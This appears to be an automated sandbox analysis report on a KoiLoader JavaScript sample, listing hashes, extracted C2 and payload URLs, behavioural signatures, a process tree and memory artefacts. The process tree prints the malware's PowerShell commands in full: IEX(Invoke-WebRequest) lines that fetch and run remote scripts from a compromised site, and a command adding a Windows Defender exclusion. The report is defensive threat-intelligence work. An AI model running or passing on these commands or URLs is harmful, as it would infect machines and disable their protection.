Analysis

  • max time kernel
    116s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2025, 08:00

General

  • Target

    20250407_KoiLoader_Samples/covalencesxjiY.js

  • Size

    1KB

  • MD5

    acfbef945b29e513ecc7e1ddccf70cf0

  • SHA1

    8dc828d93fd9c60b74ff7b601531340d6dc9d01e

  • SHA256

    3119cfa98d0ddbe11553e7e65738640ed89b330bbf642c63aedceda5826ac8e1

  • SHA512

    9eb89056948126527e7ac03e19fe8eaf2a9ef2848e75203b523eeedeeb6e30236b8d2501797f69e65bf4750ce421c99b24a956d246d4dd243a0460c13db69b4d

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://rietiholidays.it/wp-content/uploads/2021/06

Extracted

Family

koiloader

C2

http://103.245.231.56/pentateuchal.php

Attributes
  • payload_url

    https://rietiholidays.it/wp-content/uploads/2021/06

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20250407_KoiLoader_Samples\covalencesxjiY.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://rietiholidays.it/wp-content/uploads/2021/06'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zRSEKCAWUM6'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/argulusrQbt.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/revettedYf.ps1'))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:932
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3156
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2548
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5744
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2848
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe "C:\ProgramData\ref47e3f4-7ef5-4869-8771-92ebdc625084r.js"
    1⤵
      PID:5108
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe "C:\ProgramData\ref47e3f4-7ef5-4869-8771-92ebdc625084r.js"
      1⤵
        PID:4620

      Network

      MITRE ATT&CK Enterprise v16

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\ref47e3f4-7ef5-4869-8771-92ebdc625084r.js

        Filesize

        1KB

        MD5

        acfbef945b29e513ecc7e1ddccf70cf0

        SHA1

        8dc828d93fd9c60b74ff7b601531340d6dc9d01e

        SHA256

        3119cfa98d0ddbe11553e7e65738640ed89b330bbf642c63aedceda5826ac8e1

        SHA512

        9eb89056948126527e7ac03e19fe8eaf2a9ef2848e75203b523eeedeeb6e30236b8d2501797f69e65bf4750ce421c99b24a956d246d4dd243a0460c13db69b4d

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        968cb9309758126772781b83adb8a28f

        SHA1

        8da30e71accf186b2ba11da1797cf67f8f78b47c

        SHA256

        92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

        SHA512

        4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        19KB

        MD5

        fbc95d801e0371c82f69997453adc6ee

        SHA1

        34531f6caed38cc6478f3ec2ddacced96c8aead3

        SHA256

        57aaf5c733951c1c664b6c20a8b893050d7f44294d447252ecac406fb38d261e

        SHA512

        17ff27817bf2b5dd51535e4e43a6583501db817c4dc0366ec3a787f32212ad51d8b179d59faa7792faa70131360f94193389e51f1c8ca4883f2bef79355e2358

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qaxxszpw.uqh.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2848-67-0x0000000007360000-0x000000000737A000-memory.dmp

        Filesize

        104KB

      • memory/2848-63-0x00000000072A0000-0x0000000007336000-memory.dmp

        Filesize

        600KB

      • memory/2848-51-0x0000000006C60000-0x0000000006C7E000-memory.dmp

        Filesize

        120KB

      • memory/2848-40-0x0000000006CA0000-0x0000000006CD2000-memory.dmp

        Filesize

        200KB

      • memory/2848-52-0x0000000006EE0000-0x0000000006F83000-memory.dmp

        Filesize

        652KB

      • memory/2848-68-0x0000000007340000-0x0000000007348000-memory.dmp

        Filesize

        32KB

      • memory/2848-41-0x0000000070390000-0x00000000703DC000-memory.dmp

        Filesize

        304KB

      • memory/2848-66-0x0000000007260000-0x0000000007274000-memory.dmp

        Filesize

        80KB

      • memory/2848-65-0x0000000007250000-0x000000000725E000-memory.dmp

        Filesize

        56KB

      • memory/2848-64-0x0000000007220000-0x0000000007231000-memory.dmp

        Filesize

        68KB

      • memory/2848-53-0x0000000007090000-0x000000000709A000-memory.dmp

        Filesize

        40KB

      • memory/3156-76-0x0000000008070000-0x00000000080C0000-memory.dmp

        Filesize

        320KB

      • memory/3156-73-0x0000000007E80000-0x0000000007EA2000-memory.dmp

        Filesize

        136KB

      • memory/3156-77-0x00000000087E0000-0x0000000008872000-memory.dmp

        Filesize

        584KB

      • memory/3156-74-0x0000000008CF0000-0x0000000009294000-memory.dmp

        Filesize

        5.6MB

      • memory/3156-75-0x0000000007FD0000-0x0000000007FEA000-memory.dmp

        Filesize

        104KB

      • memory/4168-19-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

        Filesize

        120KB

      • memory/4168-69-0x000000007457E000-0x000000007457F000-memory.dmp

        Filesize

        4KB

      • memory/4168-25-0x00000000078B0000-0x00000000078BD000-memory.dmp

        Filesize

        52KB

      • memory/4168-24-0x0000000007150000-0x0000000007151000-memory.dmp

        Filesize

        4KB

      • memory/4168-23-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-22-0x0000000007170000-0x00000000077EA000-memory.dmp

        Filesize

        6.5MB

      • memory/4168-21-0x0000000005ED0000-0x0000000005EEA000-memory.dmp

        Filesize

        104KB

      • memory/4168-20-0x0000000005B10000-0x0000000005B5C000-memory.dmp

        Filesize

        304KB

      • memory/4168-1-0x000000007457E000-0x000000007457F000-memory.dmp

        Filesize

        4KB

      • memory/4168-14-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-70-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-30-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-15-0x00000000054E0000-0x0000000005834000-memory.dmp

        Filesize

        3.3MB

      • memory/4168-12-0x00000000053B0000-0x0000000005416000-memory.dmp

        Filesize

        408KB

      • memory/4168-11-0x0000000005340000-0x00000000053A6000-memory.dmp

        Filesize

        408KB

      • memory/4168-5-0x0000000004C10000-0x0000000004C32000-memory.dmp

        Filesize

        136KB

      • memory/4168-3-0x0000000004CA0000-0x00000000052C8000-memory.dmp

        Filesize

        6.2MB

      • memory/4168-4-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-2-0x0000000002530000-0x0000000002566000-memory.dmp

        Filesize

        216KB

      • memory/4168-81-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4168-82-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB